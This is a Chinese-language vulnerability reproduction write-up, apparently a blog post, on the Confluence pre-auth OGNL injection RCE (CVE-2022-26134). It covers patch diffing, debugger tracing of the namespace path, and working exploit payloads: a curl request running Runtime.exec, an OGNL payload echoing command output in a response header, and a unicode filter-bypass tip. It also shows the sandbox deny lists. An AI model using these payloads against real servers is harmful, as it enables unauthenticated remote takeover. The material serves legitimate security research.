Confluence pre-auth rce复现
Confluence server and data center
影响版本
1.3.0-7.4.17,7.13.0-7.13.7,7.14.0-7.14.3,7.15.0-7.15.2,7.16.0-7.16.4,7.17.0-7.17.4,7.18.0- 7.18.1.
前言
Confluence出了个无限制的任意代码执行漏洞,利用起来较为简单,而且涉及到了ongl注入。
环境
直接使用了vulhub中的漏洞复现环境,CVE-2022-26134。需要自行配置tomcat 远程debug,使用idea远程调试。
补丁分析
这边直接拉了vulhub里面的Confluence和官网的7.13.7的修复版本对比(7.13.6对比7.13.7),经过一番研究,发现主要的问题在xwork.jar这边。xwork似乎是struts2的核心框架,因此这个漏洞的不少细节会和struts2系列的漏洞有所相似。
这里直接用idea自带的jar diff来比较两个版本的jar的区别(cmd+D),这里用文件大小来比较下文件。
记一下主要更新的点位。
- com.opensymphony.xwork.ActionChainResult
- com.opensymphony.xwork.config.Configuration
- com.opensymphony.xwork.config.impl.DefaultConfiguration
- com.opensymphony.xwork.util.OgnlValueStack
- 增加com.opensymphony.xwork.util.SafeExpressionUtil(详细的内容后续分析)
小结
通过看上面我们明白了两个点,官方对漏洞的修复主要来自于两个位置:
- 修复了来自actionname和namespace在ActionChainResult中的直接输入,不再使用TextParseUtil.translateVariables解析这两个输入,因为在struts洞中,这个点是可以直接解析ognl表达式的。
- 增加了沙盒机制,用于限制ognl表达式中,一些恶意方法和恶意类的调用。
结合上述分析,我们可以将第一个断点下载actionname这里,看看程序是如何获取actionname的。
漏洞分析
结合补丁分析的结果,可以在com.opensymphony.xwork.ActionChainResult的getNamespace位置下断点。
在execute方法中有:
1 | if (this.namespace == null) { |
这里,程序从invocation中拿到namespace,这个namespace是否由外部可控呢?
可以黑盒直接试试。
1 | curl http://xxxxxx/$%7B5*4%7D/index.action |
经过几次单步,可以发现在ServletDispatcher的server方法中,调用了serviceAction。
1 | this.serviceAction(request, response, this.getNameSpace(request), this.getActionName(request), this.getRequestMap(request), this.getParameterMap(request), this.getSessionMap(request), this.getApplicationMap()); |
其中getNamespace方法会抽取namespace
1 | protected String getNameSpace(HttpServletRequest request) { |
在这个案例中,最终提取到的namespace是:
1 | /${5*4} |
而actionname则是index。
这时的堆栈如下图:
继续单步可以发现,namespace和action会被填装到DefaultActionProxy的构造函数中,而DefaultActionProxy又被createActionProxy调用。而最后invocation拿到的就是被填装好的DefaultActionProxy。
因此可以看到:
这里namespace是可以被污染的,但是actionname会受到鉴权的影响,因此不太好利用。
然后变量传入TextParseUtil.translateVariables后基本上就是struts洞的后续了。这个函数会把namespace中表达式提取出来,然后执行ognl代码。
这里构造一个命令执行利用的payload:
1 | curl http://xxxx/%24%7b%40java.lang.Runtime%40getRuntime().exec(%22touch%20123%22)%7D/index.action |
一些额外的问题
特殊字符({}等),可以尝试unicode编码绕过。
回显,利用第三方组件构建。例如使用com.opensymphony.webwork.ServletActionContext的getResponse方法添加一个额外的header来写入回显内容,ognl的poc如下:
1
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("yourcmd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
高版本沙盒。先看下配置文件,这块后续补。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34<constant name="xwork.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
java.lang.Thread,
sun.misc.Unsafe,
com.opensymphony.xwork2.ActionContext" />
<constant name="xwork.excludedPackageNames"
value="
ognl,
java.io,
java.net,
java.nio,
javax,
freemarker.core,
freemarker.template,
freemarker.ext.jsp,
freemarker.ext.rhino,
sun.misc,
sun.reflect,
javassist,
org.apache.velocity,
org.objectweb.asm,
org.springframework.context,
com.opensymphony.xwork.util,
org.apache.tomcat,
org.apache.catalina.core,
org.wildfly.extension.undertow.deployment" />